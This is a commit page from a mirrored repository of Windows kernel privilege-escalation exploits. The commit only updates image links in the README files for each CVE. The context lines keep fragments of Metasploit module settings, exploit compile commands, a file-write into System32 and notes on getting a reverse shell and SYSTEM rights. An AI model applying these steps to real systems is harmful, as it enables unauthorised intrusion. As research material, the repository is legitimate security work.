github-mirrors/Kernelhub
1
0
Fork 0
mirror of https://mirror.skon.top/github.com/Ascotbe/Kernelhub synced 2026-04-22 05:40:26 +08:00
Code Issues Packages Projects Releases Wiki Activity

Update image source🍈

Browse Source
This commit is contained in:
ascotbe
2021-11-25 10:02:34 +08:00
parent c7d856f060
commit cef31fd2fa
123 changed files with 198 additions and 198 deletions
Download Patch File Download Diff File Expand all files Collapse all files

4
CVE-2003-0352/README.md
View File

@@ -34,9 +34,9 @@ set RHOST 192.168.1.17
run
```
![image-20200823200752021](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2003-0352_win2000_x86_msf.png)
![image-20200823200752021](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2003-0352_win2000_x86_msf.png)
查看系统信息
![CVE-2003-0352_win2000_x86_msf2](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2003-0352_win2000_x86_msf2.png)
![CVE-2003-0352_win2000_x86_msf2](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2003-0352_win2000_x86_msf2.png)

4
CVE-2003-0352/README_EN.md
View File

@@ -34,9 +34,9 @@ set RHOST 192.168.1.17
run
```
![image-20200823200752021](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2003-0352_win2000_x86_msf.png)
![image-20200823200752021](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2003-0352_win2000_x86_msf.png)
View system information
![CVE-2003-0352_win2000_x86_msf2](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2003-0352_win2000_x86_msf2.png)
![CVE-2003-0352_win2000_x86_msf2](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2003-0352_win2000_x86_msf2.png)

2
CVE-2008-1084/README.md
View File

@@ -22,7 +22,7 @@
测试系统Windows Server 2003 SP2 x86
![27](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2008-1084_win2003_x86.gif)
![27](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2008-1084_win2003_x86.gif)
#### 分析文章
- https://github.com/lyshark/Windows-exploits/blob/master/Windows%20%E5%86%85%E6%A0%B8%E6%BC%8F%E6%B4%9E%20ms08025%20%E5%88%86%E6%9E%90.7z

2
CVE-2008-1084/README_EN.md
View File

@@ -22,7 +22,7 @@ Unspecified vulnerability in the kernel in Microsoft Windows 2000 SP4, XP SP2, S
Test system Windows Server 2003 SP2 x86
![27](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2008-1084_win2003_x86.gif)
![27](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2008-1084_win2003_x86.gif)
#### Analyze
- https://github.com/lyshark/Windows-exploits/blob/master/Windows%20%E5%86%85%E6%A0%B8%E6%BC%8F%E6%B4%9E%20ms08025%20%E5%88%86%E6%9E%90.7z

2
CVE-2008-3464/README.md
View File

@@ -20,7 +20,7 @@
只找到可执行exe文件，测试系统Windows Server 2003 SP2 x86
![26](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2008-3464_win2003_x86.gif)
![26](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2008-3464_win2003_x86.gif)
#### 分析文章
- https://bbs.pediy.com/thread-74811.htm

2
CVE-2008-3464/README_EN.md
View File

@@ -21,7 +21,7 @@ afd.sys in the Ancillary Function Driver (AFD) component in Microsoft Windows XP
Only find Exe files, test systems Windows Server 2003 SP2 x86
![26](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2008-3464_win2003_x86.gif)
![26](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2008-3464_win2003_x86.gif)
#### Analyze
- https://bbs.pediy.com/thread-74811.htm

2
CVE-2008-4037/README.md
View File

@@ -27,5 +27,5 @@ set SMBHOST 192.168.1.14 #目标IP
run
```
![image-20200823142846532](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2008-4037_win2003_x86_msf.png)
![image-20200823142846532](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2008-4037_win2003_x86_msf.png)

2
CVE-2008-4037/README_EN.md
View File

@@ -28,5 +28,5 @@ set SMBHOST 192.168.1.14 #目标IP
run
```
![image-20200823142846532](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2008-4037_win2003_x86_msf.png)
![image-20200823142846532](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2008-4037_win2003_x86_msf.png)

2
CVE-2008-4250/README.md
View File

@@ -29,7 +29,7 @@ set RHOST 192.168.1.14
run
```
![image-20200823143331505](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2008-4250_win2003_x86_msf.png)
![image-20200823143331505](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2008-4250_win2003_x86_msf.png)
#### 分析文章
- https://bbs.pediy.com/thread-251219.htm

2
CVE-2008-4250/README_EN.md
View File

@@ -30,7 +30,7 @@ set RHOST 192.168.1.14
run
```
![image-20200823143331505](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2008-4250_win2003_x86_msf.png)
![image-20200823143331505](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2008-4250_win2003_x86_msf.png)
#### Analyze
- https://bbs.pediy.com/thread-251219.htm

2
CVE-2009-2532/README.md
View File

@@ -24,7 +24,7 @@ set RHOSTS 192.168.1.13 #目标IP
run
```
![image-20200823134421895](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2009-2532_win2008_x86_msf.png)
![image-20200823134421895](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2009-2532_win2008_x86_msf.png)
#### 分析文章
- https://www.giantbranch.cn/2017/08/26/Educatedscholar%E5%88%A9%E7%94%A8%E7%9A%84%E6%BC%8F%E6%B4%9Ems09-050%E5%88%86%E6%9E%90%E5%8F%8A%E5%85%B6%E5%88%A9%E7%94%A8%E7%9A%84shellcode%E5%88%86%E6%9E%90%E5%8F%8A%E4%B8%8Emsf%E5%88%A9%E7%94%A8%E5%AF%B9%E6%AF%94/

2
CVE-2009-2532/README_EN.md
View File

@@ -25,7 +25,7 @@ set RHOSTS 192.168.1.13 #目标IP
run
```
![image-20200823134421895](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2009-2532_win2008_x86_msf.png)
![image-20200823134421895](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2009-2532_win2008_x86_msf.png)
#### Analyze
- https://www.giantbranch.cn/2017/08/26/Educatedscholar%E5%88%A9%E7%94%A8%E7%9A%84%E6%BC%8F%E6%B4%9Ems09-050%E5%88%86%E6%9E%90%E5%8F%8A%E5%85%B6%E5%88%A9%E7%94%A8%E7%9A%84shellcode%E5%88%86%E6%9E%90%E5%8F%8A%E4%B8%8Emsf%E5%88%A9%E7%94%A8%E5%AF%B9%E6%AF%94/

6
CVE-2010-0233/README.md
View File

@@ -26,7 +26,7 @@
测试系统Windows Server 2003 SP2 x86
![25](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2010-0233_win2003_x86.gif)
![25](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2010-0233_win2003_x86.gif)
> msf利用
@@ -40,8 +40,8 @@ run
可以看到当前权限是最低的
![image-20200823123824229](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2010-0233_win2003_x86_msf.png)
![image-20200823123824229](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2010-0233_win2003_x86_msf.png)
然后执行命令提权
![image-20200823123945054](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2010-0233_win2003_x86_msf2.png)
![image-20200823123945054](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2010-0233_win2003_x86_msf2.png)

6
CVE-2010-0233/README_EN.md
View File

@@ -27,7 +27,7 @@ CompilerEnvironment
Test system Windows Server 2003 SP2 x86
![25](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2010-0233_win2003_x86.gif)
![25](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2010-0233_win2003_x86.gif)
> MSF utilization
@@ -41,8 +41,8 @@ run
You can see that the current permissions are the lowest.
![image-20200823123824229](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2010-0233_win2003_x86_msf.png)
![image-20200823123824229](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2010-0233_win2003_x86_msf.png)
Then execute command rights
![image-20200823123945054](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2010-0233_win2003_x86_msf2.png)
![image-20200823123945054](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2010-0233_win2003_x86_msf2.png)

2
CVE-2010-1897/README.md
View File

@@ -22,5 +22,5 @@ win32k.sys中的Windows内核模式驱动程序无法正确验证伪句柄值
测试系统Windows Server 2003 SP2 x86
![24](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2010-1897_win2003_x86.gif)
![24](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2010-1897_win2003_x86.gif)

2
CVE-2010-1897/README_EN.md
View File

@@ -23,5 +23,5 @@ The Windows kernel-mode drivers in win32k.sys in Microsoft Windows XP SP2 and SP
Test system Windows Server 2003 SP2 x86
![24](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2010-1897_win2003_x86.gif)
![24](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2010-1897_win2003_x86.gif)

4
CVE-2010-3338/README.md
View File

@@ -25,9 +25,9 @@ set SESSION 2
run
```
![image-20200822234422637](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2010-3338_win2008_x86_msf.png)
![image-20200822234422637](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2010-3338_win2008_x86_msf.png)
然后就能提权成功了
![image-20200822234608009](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2010-3338_win2008_x86_msf2.png)
![image-20200822234608009](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2010-3338_win2008_x86_msf2.png)

4
CVE-2010-3338/README_EN.md
View File

@@ -25,9 +25,9 @@ set SESSION 2
run
```
![image-20200822234422637](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2010-3338_win2008_x86_msf.png)
![image-20200822234422637](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2010-3338_win2008_x86_msf.png)
Then it will be successful.
![image-20200822234608009](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2010-3338_win2008_x86_msf2.png)
![image-20200822234608009](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2010-3338_win2008_x86_msf2.png)

2
CVE-2011-1249/README.md
View File

@@ -29,7 +29,7 @@ i686-w64-mingw32-gcc CVE-2011-1249.c -o CVE-2011-1249.exe -lws2_32
测试系统Windows Server 2003 SP2 x86和Windows 7 SP1 x86都成功
![23](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2011-1249_win2003_x86.gif)
![23](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2011-1249_win2003_x86.gif)
#### 分析文章
- https://github.com/Madusanka99/OHTS/blob/master/IT16075504%20-OHTS%20Report.pdf

2
CVE-2011-1249/README_EN.md
View File

@@ -29,7 +29,7 @@ i686-w64-mingw32-gcc CVE-2011-1249.c -o CVE-2011-1249.exe -lws2_32
Test system Windows Server 2003 SP2 x86 and Windows 7 SP1 x86 Can use
![23](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2011-1249_win2003_x86.gif)
![23](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2011-1249_win2003_x86.gif)
#### Analyze
- https://github.com/Madusanka99/OHTS/blob/master/IT16075504%20-OHTS%20Report.pdf

4
CVE-2011-1974/README.md
View File

@@ -22,9 +22,9 @@ i686-w64-mingw32-gcc CVE-2011-1974.c -o CVE-2011-1974.exe -lws2_32
测试系统Windows Server 2003 SP2 x86，首先需要用管理员修改注册表和开启服务
![image-20200822202222486](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2011-1974_win2003_x86.png)
![image-20200822202222486](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2011-1974_win2003_x86.png)
接着切回普通用户
![22](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2011-1974_win2003_x86.gif)
![22](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2011-1974_win2003_x86.gif)

4
CVE-2011-1974/README_EN.md
View File

@@ -23,9 +23,9 @@ i686-w64-mingw32-gcc CVE-2011-1974.c -o CVE-2011-1974.exe -lws2_32
Test system Windows Server 2003 SP2 x86，First, you need to modify the registry and open service with an administrator.
![image-20200822202222486](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2011-1974_win2003_x86.png)
![image-20200822202222486](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2011-1974_win2003_x86.png)
Then cut back to ordinary users
![22](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2011-1974_win2003_x86.gif)
![22](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2011-1974_win2003_x86.gif)

2
CVE-2011-2005/README.md
View File

@@ -16,7 +16,7 @@
测试系统Windows Server 2003 SP2 x86
![21](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2011-2005_win2003_x86.gif)
![21](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2011-2005_win2003_x86.gif)
msf利用直接使用这个即可

2
CVE-2011-2005/README_EN.md
View File

@@ -16,7 +16,7 @@ afd.sys in the Ancillary Function Driver in Microsoft Windows XP SP2 and SP3 and
Test system Windows Server 2003 SP2 x86
![21](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2011-2005_win2003_x86.gif)
![21](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2011-2005_win2003_x86.gif)
MSF uses it directly to use this

2
CVE-2012-0217/README.md
View File

@@ -23,5 +23,5 @@
测试系统Windows Server 2008 R2 SP1 x64
![20](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2012-0217_win2008_x64.gif)
![20](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2012-0217_win2008_x64.gif)

2
CVE-2012-0217/README_EN.md
View File

@@ -24,5 +24,5 @@ CompilerEnvironment
Test system Windows Server 2008 R2 SP1 x64
![20](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2012-0217_win2008_x64.gif)
![20](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2012-0217_win2008_x64.gif)

2
CVE-2013-1332/README.md
View File

@@ -27,7 +27,7 @@
测试系统Windows Server 2003 SP2 x86
![19](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2013-1332_win2003_x86.gif)
![19](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2013-1332_win2003_x86.gif)
#### 分析文章
- https://www.anquanke.com/vul/id/1045064

2
CVE-2013-1332/README_EN.md
View File

@@ -27,7 +27,7 @@ CompilerEnvironment
Test system Windows Server 2003 SP2 x86
![19](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2013-1332_win2003_x86.gif)
![19](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2013-1332_win2003_x86.gif)
#### Analyze
- https://www.anquanke.com/vul/id/1045064

6
CVE-2013-1345/README.md
View File

@@ -31,15 +31,15 @@ set SESSION 2 #你上线机器的session
run
```
![image-20200822151416515](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2013-1345_win7_x86.png)
![image-20200822151416515](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2013-1345_win7_x86.png)
Windows Sever 2003 SP2 x86 和Windows Sever 2003 R2 SP2 x86都测试成功，但是利用文件没有源码只有exe可执行文件
Windows Sever 2003 SP2 x86 动图如下
![17](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2013-1345_win2003_x86.gif)
![17](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2013-1345_win2003_x86.gif)
Windows Sever 2003 R2 SP2 x86 动图如下
![18](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2013-1345_win2003_x86_2.gif)
![18](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2013-1345_win2003_x86_2.gif)

6
CVE-2013-1345/README_EN.md
View File

@@ -31,15 +31,15 @@ set SESSION 2 #你上线机器的session
run
```
![image-20200822151416515](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2013-1345_win7_x86.png)
![image-20200822151416515](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2013-1345_win7_x86.png)
Windows Server 2003 SP2 X86 and Windows Server 2003 R2 SP2 X86 are successful, but the file does not have the source code only exe executable
Windows Sever 2003 SP2 x86 GIF
![17](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2013-1345_win2003_x86.gif)
![17](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2013-1345_win2003_x86.gif)
Windows Sever 2003 R2 SP2 x86 GIF
![18](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2013-1345_win2003_x86_2.gif)
![18](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2013-1345_win2003_x86_2.gif)

4
CVE-2014-1767/README.md
View File

@@ -27,13 +27,13 @@
测试系统Windows 7 SP1 x86 ，测试exe文件和py脚本都可以正常利用
![16](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2014-1767_win7_x86.gif)
![16](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2014-1767_win7_x86.gif)
> x64利用
测试系统Windows 7 SP1 x64 测试利用py脚本，exe文件有机率蓝屏
![17](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2014-1767_win7_x64.gif)
![17](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2014-1767_win7_x64.gif)
#### 分析文章
- https://xz.aliyun.com/t/6770

4
CVE-2014-1767/README_EN.md
View File

@@ -28,13 +28,13 @@ With the script is Python, there is also a compiled EXE version
Test system Windows 7 SP1 x86 ，Test EXE files and py scripts can be used normally
![16](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2014-1767_win7_x86.gif)
![16](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2014-1767_win7_x86.gif)
> x64 utilization
Test system Windows 7 SP1 x64 Use the PY script, EXE file organically blue screen
![17](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2014-1767_win7_x64.gif)
![17](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2014-1767_win7_x64.gif)
#### Analyze
- https://xz.aliyun.com/t/6770

2
CVE-2014-4076/README.md
View File

@@ -20,7 +20,7 @@ i586-mingw32msvc-gcc CVE-2014-4076.c -o CVE-2014-4076.exe
测试机器Windows Server 2003 SP2 x86
![16](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2014-4076_win2003_x86.gif)
![16](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2014-4076_win2003_x86.gif)
#### 分析文章

2
CVE-2014-4076/README_EN.md
View File

@@ -21,7 +21,7 @@ i586-mingw32msvc-gcc CVE-2014-4076.c -o CVE-2014-4076.exe
Test Machine Windows Server 2003 SP2 x86
![16](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2014-4076_win2003_x86.gif)
![16](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2014-4076_win2003_x86.gif)
#### Analyze

4
CVE-2014-4113/README.md
View File

@@ -32,13 +32,13 @@
测试系统Windows 7 SP1 x86
![14](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2014-4113_win7_x86.gif)
![14](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2014-4113_win7_x86.gif)
> x64利用
测试系统Windows 7 SP1 x64
![15](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2014-4113_win7_x64.gif)
![15](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2014-4113_win7_x64.gif)
#### 分析文章
- https://xz.aliyun.com/t/4456

4
CVE-2014-4113/README_EN.md
View File

@@ -33,13 +33,13 @@ CompilerEnvironment
Test system Windows 7 SP1 x86
![14](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2014-4113_win7_x86.gif)
![14](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2014-4113_win7_x86.gif)
> x64 utilization
Test system Windows 7 SP1 x64
![15](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2014-4113_win7_x64.gif)
![15](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2014-4113_win7_x64.gif)
#### Analyze
- https://xz.aliyun.com/t/4456

4
CVE-2015-0003/README.md
View File

@@ -30,7 +30,7 @@
利用Windows 7 SP1 x86作为演示
![10](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2015-0003_win7_x86.gif)
![10](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2015-0003_win7_x86.gif)
> x64利用
@@ -40,7 +40,7 @@
利用Windows Server 2008 R2 SP1 x64进行测试
![11](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2015-0003_win2008_x64.gif)
![11](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2015-0003_win2008_x64.gif)
#### 分析文章
- https://www.shuzhiduo.com/A/Vx5M1WrL5N/

4
CVE-2015-0003/README_EN.md
View File

@@ -30,7 +30,7 @@ CompilerEnvironment
Use Windows 7 SP1 X86 as a demonstration
![10](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2015-0003_win7_x86.gif)
![10](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2015-0003_win7_x86.gif)
> X64 utilization
@@ -40,7 +40,7 @@ CompilerEnvironment
Testing with Windows Server 2008 R2 SP1 X64
![11](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2015-0003_win2008_x64.gif)
![11](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2015-0003_win2008_x64.gif)
#### Analyze
- https://www.shuzhiduo.com/A/Vx5M1WrL5N/

2
CVE-2015-0057/README.md
View File

@@ -31,7 +31,7 @@
对Windows 7 SP1 x86进行测试
![2](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2015-0057_win7_sp1_x86.gif)
![2](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2015-0057_win7_sp1_x86.gif)
#### 分析文章
- https://xz.aliyun.com/t/4549

2
CVE-2015-0057/README_EN.md
View File

@@ -32,7 +32,7 @@ The test uses the compiled EXP `CVE-2015-0057_x86` and `CVE-2015-0057_x64` found
Test Windows 7 SP1 X86
![2](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2015-0057_win7_sp1_x86.gif)
![2](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2015-0057_win7_sp1_x86.gif)
#### Analyze
- https://xz.aliyun.com/t/4549

4
CVE-2015-1701/README.md
View File

@@ -24,10 +24,10 @@
测试机器 Windows 7 SP1 x86
![12](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2015-1701_win7_x86.gif)
![12](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2015-1701_win7_x86.gif)
> x64利用
测试使用Windows Server 2008 R2 SP1 x64
![13](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2015-1701_win2008_x64.gif)
![13](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2015-1701_win2008_x64.gif)

4
CVE-2015-1701/README_EN.md
View File

@@ -24,10 +24,10 @@ CompilerEnvironment
Test Machine Windows 7 SP1 x86
![12](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2015-1701_win7_x86.gif)
![12](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2015-1701_win7_x86.gif)
> x64 utilization
Test Machine Windows Server 2008 R2 SP1 x64
![13](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2015-1701_win2008_x64.gif)
![13](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2015-1701_win2008_x64.gif)

2
CVE-2015-2370/README.md
View File

@@ -36,7 +36,7 @@ Trebuchet.exe c:\Users\ascotbe\Desktop\test.txt c:\Windows\System32\test1.txt
演示机器Windows 7 SP1 x86
![2](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2015-2370_win7_x86.png)
![2](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2015-2370_win7_x86.png)
#### 分析文章
- http://bobao.360.cn/learning/detail/584.html

2
CVE-2015-2370/README_EN.md
View File

@@ -36,7 +36,7 @@ Trebuchet.exe c:\Users\ascotbe\Desktop\test.txt c:\Windows\System32\test1.txt
Demonstrate Machine Windows 7 SP1 x86
![2](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2015-2370_win7_x86.png)
![2](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2015-2370_win7_x86.png)
#### Analyze
- http://bobao.360.cn/learning/detail/584.html

2
CVE-2015-2387/README.md
View File

@@ -31,5 +31,5 @@ Adobe Type Manager字体驱动程序中的ATMFD.DLL允许本地用户通过精
演示系统Windows Server 2003 SP2 x86
![3](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2015-2387_win2003_sp2_x86.gif)
![3](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2015-2387_win2003_sp2_x86.gif)

2
CVE-2015-2387/README_EN.md
View File

@@ -32,5 +32,5 @@ Currently compiled only the `CVE-2015-2387_X86` project，`CVE-2015-2387_X64` pr
Demo System Windows Server 2003 SP2 x86
![3](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2015-2387_win2003_sp2_x86.gif)
![3](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2015-2387_win2003_sp2_x86.gif)

2
CVE-2015-2546/README.md
View File

@@ -28,7 +28,7 @@
测试机器Windows 7 SP1 x86，当前只有x86版本的EXP，测试GIF图
![1](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2015-2546_win7_x86.gif)
![1](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2015-2546_win7_x86.gif)
#### 分析文章
- http://drops.xmd5.com/static/drops/papers-9276.html

2
CVE-2015-2546/README_EN.md
View File

@@ -29,7 +29,7 @@ CompilerEnvironment
Test Machine Windows 7 SP1 X86, current only X86 version of Exp, test GIF map
![1](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2015-2546_win7_x86.gif)
![1](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2015-2546_win7_x86.gif)
#### Analyze
- http://drops.xmd5.com/static/drops/papers-9276.html

4
CVE-2016-0041/README.md
View File

@@ -35,7 +35,7 @@ run
可以看到如下的反弹shell
![CVE-2016-0041_win7_sp1_x64_01](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2016-0041_win7_sp1_x64_01.png)
![CVE-2016-0041_win7_sp1_x64_01](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2016-0041_win7_sp1_x64_01.png)
接着使用提权漏洞
@@ -45,6 +45,6 @@ set session 2#你当前的session
run
```
![CVE-2016-0041_win7_sp1_x64_02](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2016-0041_win7_sp1_x64_02.png)
![CVE-2016-0041_win7_sp1_x64_02](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2016-0041_win7_sp1_x64_02.png)
可以看到我们最后成为了SYSTEM权限

4
CVE-2016-0041/README_EN.md
View File

@@ -36,7 +36,7 @@ run
You can see the following rebound shell
![CVE-2016-0041_win7_sp1_x64_01](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2016-0041_win7_sp1_x64_01.png)
![CVE-2016-0041_win7_sp1_x64_01](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2016-0041_win7_sp1_x64_01.png)
Then use the rights vulnerability
@@ -46,6 +46,6 @@ set session 2#你当前的session
run
```
![CVE-2016-0041_win7_sp1_x64_02](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2016-0041_win7_sp1_x64_02.png)
![CVE-2016-0041_win7_sp1_x64_02](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2016-0041_win7_sp1_x64_02.png)
You can see that we finally became SYSTEM permissions.

2
CVE-2016-0051/README.md
View File

@@ -27,5 +27,5 @@
测试机器Windows 7 SP1 x86。需要把**CVE-2016-0051_x86.zip**解压后的两个文件放到目标中
![8](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2016-0051_win7_x86.gif)
![8](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2016-0051_win7_x86.gif)

2
CVE-2016-0051/README_EN.md
View File

@@ -27,5 +27,5 @@ CompilerEnvironment
Test Machine Windows 7 SP1 x86. Need to decompress the two files after the **CVE-2016-0051_X86.zip** is placed in the target
![8](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2016-0051_win7_x86.gif)
![8](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2016-0051_win7_x86.gif)

2
CVE-2016-0095/README.md
View File

@@ -25,7 +25,7 @@
测试Windows 7 SP1 x64的GIF图
![5](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2016-0095_win7_x64.gif)
